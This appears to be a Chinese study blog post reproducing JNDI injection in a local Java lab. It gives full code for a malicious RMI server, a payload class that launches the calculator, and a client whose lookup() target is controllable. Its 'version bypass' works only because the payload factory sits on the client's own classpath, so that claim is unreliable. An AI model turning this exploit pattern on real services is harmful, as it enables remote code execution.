初步学习JDNI注入
最近学习java安全,JDNI注入必需了解,进行初步的学习
首先JNDI注入对JAVA版本是有限限制的,本地是1.8.0_2.0.1超过了191,所以最开始拿符合版本方法复现没有成功
java版本查看
JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API,一种标准的 Java 命名系统接口。
JNDI 注入,即当开发者在定义 JNDI
接口初始化时,lookup()
方法的参数可控,攻击者就可以将恶意的 url
传入参数远程加载恶意载荷,造成注入攻击。
符合版本的JNDI注入复现方法:
实现一个RMI服务
package Server; import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; //恶意RMi服务 public class RmiDemo { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { //注册RMi服务 Registry registry = LocateRegistry.createRegistry(7778); //Reference包含有助于创建引用所引用的对象实例的信息。它包含该对象的Java类名称,以及用于创建对象的对象工厂的类名称和位置 Reference reference = new Reference("exp","exp","http://127.0.0.1:8888/"); //把 Reference对象封装成远程对象 ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("exp",referenceWrapper); } }
创建恶意类
public class exp { public exp() throws Exception { Runtime.getRuntime().exec("calc"); } }
实现被攻击端访问RMI服务,JDNI注入核心问题是这里的lookup()参数可控,访问恶意的 url
package Client; import javax.naming.InitialContext; import javax.naming.NamingException; public class Client { public static void main(String[] args) throws NamingException { //模拟被攻击端参数可控 String url = "rmi://127.0.0.1:7778/exp"; InitialContext initialContext = new InitialContext(); initialContext.lookup(url); } }
编译恶意类并开启远程http服务,,让RMI可以远程引用恶意类,这里的IP和8888端口对应 Reference reference = new Reference("exp","exp","http://127.0.0.1:8888/");
但是最后运行RMI Server,再运行Client无法实现命令执行
原本想换个JDK版本,但又看到了网上大佬绕过版本限制的文章,这里copy过来修改一下,最后可以成功
修改后的恶意类和RMI服务
import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable; //恶意类 public class PayloadObjectFactory implements ObjectFactory { @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { Runtime.getRuntime().exec("calc"); return 1; } }
import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; //恶意RMi服务 public class RmiDemo { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { //注册RMi服务 Registry registry = LocateRegistry.createRegistry(7778); //Reference包含有助于创建引用所引用的对象实例的信息。它包含该对象的Java类名称,以及用于创建对象的对象工厂的类名称和位置 Reference reference = new Reference("aaa", "PayloadObjectFactory", null); //把 Reference对象封装成远程对象 ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("exp",referenceWrapper); } }
最终成功命令执行弹出计算器
参考链接:
https://xz.aliyun.com/t/14566
https://xz.aliyun.com/t/12277